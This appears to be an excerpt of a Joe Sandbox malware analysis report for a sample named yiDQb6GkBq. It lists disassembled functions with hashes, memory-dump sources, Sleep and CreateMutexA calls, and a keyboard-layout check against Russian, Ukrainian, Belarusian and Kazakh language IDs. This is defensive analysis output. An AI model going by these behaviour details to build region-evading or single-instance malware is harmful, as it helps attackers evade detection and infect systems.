Instruction ID: 95d47225bb9d2be4ca871dd325558ecd326a90660bb05563a62ecadcddcd7edb
Opcode Fuzzy Hash: d7908620626eff5a4177bcc5b8f818b3729816386e0964c7456a58ea01113b00
Instruction Fuzzy Hash: 20E08C71141148AECF367B18C84DECD3B6AEB51741F010804FA1986223CB29EED1C7A0

Function 05230D8F Relevance: .1, Instructions: 102COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1856208797.0000000005230000.00000040.00001000.00020000.00000000.sdmp, Offset: 05230000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5230000_yiDQb6GkBq.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 0fd5b50316ac8e31a852e3b84a0e0e2d266a21c7340546125774cd8274e9d87b
Instruction ID: e68360d6826af294166a8092a8f5af7071effc3c50a28dca73006755971409d5
Opcode Fuzzy Hash: 0fd5b50316ac8e31a852e3b84a0e0e2d266a21c7340546125774cd8274e9d87b
Instruction Fuzzy Hash: D011FAEB2A8214BDB242C5852B19AF76B7EE8C6730330C46BF807D6506E2D44E4D2131

Function 00685C10 Relevance: 12.7, APIs: 2, Strings: 5, Instructions: 434
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

00000423, xrefs: 006860FA
Keyboard Layout\Preload, xrefs: 00686054
00000419, xrefs: 00686098
00000422, xrefs: 006860C9
0000043f, xrefs: 0068612B

Memory Dump Source

Source File: 00000000.00000002.1847627924.0000000000681000.00000040.00000001.01000000.00000003.sdmp, Offset: 00680000, based on PE: true

Associated: 00000000.00000002.1847482680.0000000000680000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1847627924.00000000006E2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1848050989.00000000006E9000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1848122207.00000000006EB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1849277176.00000000006F5000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1849641023.00000000006F6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1849666432.00000000006F7000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1850968987.0000000000847000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1851143966.0000000000849000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1852528254.000000000085C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1852560154.000000000085E000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1852598717.0000000000860000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1852598717.0000000000869000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1853215802.0000000000871000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1853261062.0000000000872000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1853351756.0000000000885000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1853377776.0000000000886000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1853421521.0000000000888000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1853444418.000000000088A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1853509644.0000000000898000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1853538163.0000000000899000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1853561048.00000000008A2000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1853622896.00000000008AD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1853652514.00000000008C3000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1853718746.00000000008C4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1853735849.00000000008C5000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1853757569.00000000008C9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1853777185.00000000008D1000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1853796679.00000000008D2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1853815723.00000000008D3000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1853849223.00000000008D8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1853873156.00000000008E6000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1853892381.00000000008E7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1853911147.00000000008F5000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1853934669.00000000008FC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1853955359.00000000008FD000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1853979504.0000000000906000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1854006199.0000000000917000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1854027641.0000000000919000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1854027641.0000000000946000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1854095528.0000000000974000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1854117151.0000000000975000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1854137052.0000000000976000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1854160061.0000000000979000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1854178079.000000000097B000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1854200597.000000000098A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1854218517.000000000098B000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_680000_yiDQb6GkBq.jbxd

Yara matches

Similarity

API ID:
String ID: 00000419$00000422$00000423$0000043f$Keyboard Layout\Preload
API String ID: 0-3963862150
Opcode ID: b7c14b182d4838f1429ad11c346cdca17c635a11e675f0fd697d2aabbf013696
Instruction ID: 8b82b98019b0cbd0913b0a33f1a423a82435c54abdf2f8e8081989e2714b8a79
Opcode Fuzzy Hash: b7c14b182d4838f1429ad11c346cdca17c635a11e675f0fd697d2aabbf013696
Instruction Fuzzy Hash: F3F1B0709002589FEF24EF54CC85BDEBBBAEF45304F5042A9F509A7281DB749A84CF95

Function 00689BA5 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 140
sleepsynchronizationCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNEL32(00000064), ref: 0068A963
CreateMutexA.KERNEL32(00000000,00000000,006E3254), ref: 0068A981

Strings

T2n, xrefs: 0068A970

Memory Dump Source

Source File: 00000000.00000002.1847627924.0000000000681000.00000040.00000001.01000000.00000003.sdmp, Offset: 00680000, based on PE: true

Associated: 00000000.00000002.1847482680.0000000000680000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1847627924.00000000006E2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1848050989.00000000006E9000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1848122207.00000000006EB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1849277176.00000000006F5000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1849641023.00000000006F6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1849666432.00000000006F7000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1850968987.0000000000847000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1851143966.0000000000849000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1852528254.000000000085C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1852560154.000000000085E000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1852598717.0000000000860000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1852598717.0000000000869000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1853215802.0000000000871000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1853261062.0000000000872000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1853351756.0000000000885000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1853377776.0000000000886000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1853421521.0000000000888000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1853444418.000000000088A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1853509644.0000000000898000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1853538163.0000000000899000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1853561048.00000000008A2000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1853622896.00000000008AD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1853652514.00000000008C3000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1853718746.00000000008C4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1853735849.00000000008C5000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1853757569.00000000008C9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1853777185.00000000008D1000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1853796679.00000000008D2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1853815723.00000000008D3000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1853849223.00000000008D8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1853873156.00000000008E6000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1853892381.00000000008E7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1853911147.00000000008F5000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1853934669.00000000008FC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1853955359.00000000008FD000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1853979504.0000000000906000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1854006199.0000000000917000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1854027641.0000000000919000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1854027641.0000000000946000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1854095528.0000000000974000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1854117151.0000000000975000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1854137052.0000000000976000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1854160061.0000000000979000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1854178079.000000000097B000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1854200597.000000000098A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1854218517.000000000098B000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_680000_yiDQb6GkBq.jbxd

Yara matches

Similarity

API ID: CreateMutexSleep
String ID: T2n
API String ID: 1464230837-3549316944
Opcode ID: b3356d371603f84da982321cf00bdb47a55526a727f6fb5e1fda09b3f901922a
Instruction ID: f4b75d03eebae49f4ec2d86982472191d3340641d868cb02b9ee8680e12f5b10
Opcode Fuzzy Hash: b3356d371603f84da982321cf00bdb47a55526a727f6fb5e1fda09b3f901922a
Instruction Fuzzy Hash: 1E312771B142449BEF08ABB8DC897ADBB679B85310F24435DE414AB3D6C77649808761

Function 00689F44 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 137
sleepsynchronizationCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNEL32(00000064), ref: 0068A963
CreateMutexA.KERNEL32(00000000,00000000,006E3254), ref: 0068A981

Strings

T2n, xrefs: 0068A970

Memory Dump Source

Source File: 00000000.00000002.1847627924.0000000000681000.00000040.00000001.01000000.00000003.sdmp, Offset: 00680000, based on PE: true

Associated: 00000000.00000002.1847482680.0000000000680000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1847627924.00000000006E2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1848050989.00000000006E9000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1848122207.00000000006EB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1849277176.00000000006F5000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1849641023.00000000006F6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1849666432.00000000006F7000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1850968987.0000000000847000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1851143966.0000000000849000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1852528254.000000000085C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1852560154.000000000085E000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1852598717.0000000000860000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1852598717.0000000000869000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1853215802.0000000000871000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1853261062.0000000000872000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1853351756.0000000000885000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1853377776.0000000000886000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1853421521.0000000000888000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1853444418.000000000088A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1853509644.0000000000898000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1853538163.0000000000899000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1853561048.00000000008A2000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1853622896.00000000008AD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1853652514.00000000008C3000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1853718746.00000000008C4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1853735849.00000000008C5000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1853757569.00000000008C9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1853777185.00000000008D1000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1853796679.00000000008D2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1853815723.00000000008D3000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1853849223.00000000008D8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1853873156.00000000008E6000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1853892381.00000000008E7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1853911147.00000000008F5000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1853934669.00000000008FC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1853955359.00000000008FD000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1853979504.0000000000906000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1854006199.0000000000917000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1854027641.0000000000919000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1854027641.0000000000946000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1854095528.0000000000974000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1854117151.0000000000975000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1854137052.0000000000976000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1854160061.0000000000979000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1854178079.000000000097B000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1854200597.000000000098A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1854218517.000000000098B000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_680000_yiDQb6GkBq.jbxd

Yara matches

Similarity

API ID: CreateMutexSleep
String ID: T2n
API String ID: 1464230837-3549316944
Opcode ID: e6ae140fd91b114896a3e09705ad58e598da1e402df00cd8dda7c4f52ecdb3c0
Instruction ID: ee717e4d259f6067142d69942b507b1884057920a37f756c7044a986cd8755a5
Opcode Fuzzy Hash: e6ae140fd91b114896a3e09705ad58e598da1e402df00cd8dda7c4f52ecdb3c0
Instruction Fuzzy Hash: 03314831B142449BFF08ABA8CC897ACBB63EB85310F24435DE418EB3D5C77649808722

Function 0068A079 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 136
sleepsynchronizationCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNEL32(00000064), ref: 0068A963
CreateMutexA.KERNEL32(00000000,00000000,006E3254), ref: 0068A981

Strings

T2n, xrefs: 0068A970

Memory Dump Source

Source File: 00000000.00000002.1847627924.0000000000681000.00000040.00000001.01000000.00000003.sdmp, Offset: 00680000, based on PE: true

Associated: 00000000.00000002.1847482680.0000000000680000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1847627924.00000000006E2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1848050989.00000000006E9000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1848122207.00000000006EB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1849277176.00000000006F5000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1849641023.00000000006F6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1849666432.00000000006F7000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1850968987.0000000000847000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1851143966.0000000000849000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1852528254.000000000085C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1852560154.000000000085E000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1852598717.0000000000860000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1852598717.0000000000869000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1853215802.0000000000871000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1853261062.0000000000872000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1853351756.0000000000885000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1853377776.0000000000886000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1853421521.0000000000888000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1853444418.000000000088A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1853509644.0000000000898000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1853538163.0000000000899000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1853561048.00000000008A2000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1853622896.00000000008AD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1853652514.00000000008C3000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1853718746.00000000008C4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1853735849.00000000008C5000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1853757569.00000000008C9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1853777185.00000000008D1000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1853796679.00000000008D2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1853815723.00000000008D3000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1853849223.00000000008D8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1853873156.00000000008E6000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1853892381.00000000008E7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1853911147.00000000008F5000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1853934669.00000000008FC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1853955359.00000000008FD000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1853979504.0000000000906000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1854006199.0000000000917000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1854027641.0000000000919000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1854027641.0000000000946000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1854095528.0000000000974000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1854117151.0000000000975000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1854137052.0000000000976000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1854160061.0000000000979000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1854178079.000000000097B000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1854200597.000000000098A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1854218517.000000000098B000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_680000_yiDQb6GkBq.jbxd

Yara matches

Similarity

API ID: CreateMutexSleep
String ID: T2n
API String ID: 1464230837-3549316944
Opcode ID: a9751adad0f4839aca06d954e07f01b3298b5262e8b7103fdd096a1f9503b8c6
Instruction ID: eb7c4c6c576c9c5a1cd9b73bb3ed59524d06c1207d8ef5e2a27de47e812fb99c
Opcode Fuzzy Hash: a9751adad0f4839aca06d954e07f01b3298b5262e8b7103fdd096a1f9503b8c6
Instruction Fuzzy Hash: 8E313531B142449BFF08ABF8CC8DBADBB639B85310F20435EE8589B7D5C77699808712

Function 0068A1AE Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 135
sleepsynchronizationCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNEL32(00000064), ref: 0068A963
CreateMutexA.KERNEL32(00000000,00000000,006E3254), ref: 0068A981

Strings

T2n, xrefs: 0068A970

Memory Dump Source

Source File: 00000000.00000002.1847627924.0000000000681000.00000040.00000001.01000000.00000003.sdmp, Offset: 00680000, based on PE: true

Associated: 00000000.00000002.1847482680.0000000000680000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1847627924.00000000006E2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1848050989.00000000006E9000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1848122207.00000000006EB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1849277176.00000000006F5000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1849641023.00000000006F6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1849666432.00000000006F7000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1850968987.0000000000847000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1851143966.0000000000849000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1852528254.000000000085C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1852560154.000000000085E000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1852598717.0000000000860000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1852598717.0000000000869000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1853215802.0000000000871000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1853261062.0000000000872000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1853351756.0000000000885000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1853377776.0000000000886000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1853421521.0000000000888000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1853444418.000000000088A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1853509644.0000000000898000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1853538163.0000000000899000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1853561048.00000000008A2000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1853622896.00000000008AD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1853652514.00000000008C3000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1853718746.00000000008C4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1853735849.00000000008C5000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1853757569.00000000008C9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1853777185.00000000008D1000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1853796679.00000000008D2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1853815723.00000000008D3000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1853849223.00000000008D8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1853873156.00000000008E6000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1853892381.00000000008E7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1853911147.00000000008F5000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1853934669.00000000008FC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1853955359.00000000008FD000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1853979504.0000000000906000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1854006199.0000000000917000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1854027641.0000000000919000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1854027641.0000000000946000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1854095528.0000000000974000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1854117151.0000000000975000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1854137052.0000000000976000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1854160061.0000000000979000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1854178079.000000000097B000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1854200597.000000000098A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1854218517.000000000098B000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_680000_yiDQb6GkBq.jbxd

Yara matches

Similarity

API ID: CreateMutexSleep
String ID: T2n
API String ID: 1464230837-3549316944
